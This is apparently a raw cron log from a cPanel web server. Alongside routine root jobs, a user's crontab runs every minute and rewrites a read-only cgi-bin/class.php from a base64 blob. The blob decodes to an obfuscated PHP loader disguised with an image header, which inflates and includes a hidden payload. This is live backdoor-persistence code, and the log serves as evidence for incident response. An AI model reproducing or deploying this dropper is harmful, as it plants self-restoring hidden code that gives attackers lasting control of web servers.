Nov 11 13:33:01 server CROND[32455]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 13:34:01 server CROND[410]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 13:35:01 server CROND[1156]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 11 13:35:01 server CROND[1165]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check &amp;&amp; /usr/local/cpanel/bin/tail-check)
Nov 11 13:35:01 server CROND[1164]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 11 13:35:01 server CROND[1166]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 11 13:35:01 server CROND[1168]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 13:36:01 server CROND[2088]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 13:37:01 server CROND[2913]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 13:38:01 server CROND[3791]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 13:39:01 server CROND[4625]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions &gt; /dev/null 2&gt;&amp;1)
Nov 11 13:39:01 server CROND[4626]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 13:40:01 server CROND[5559]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 11 13:40:01 server CROND[5561]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 13:40:01 server CROND[5560]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 11 13:40:01 server CROND[5562]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 11 13:41:01 server CROND[6440]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 13:42:01 server CROND[7261]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 11 13:42:01 server CROND[7262]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 13:43:01 server CROND[8095]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 13:44:01 server CROND[9125]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 13:45:01 server CROND[10012]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 11 13:45:01 server CROND[10013]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 13:45:01 server CROND[10011]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
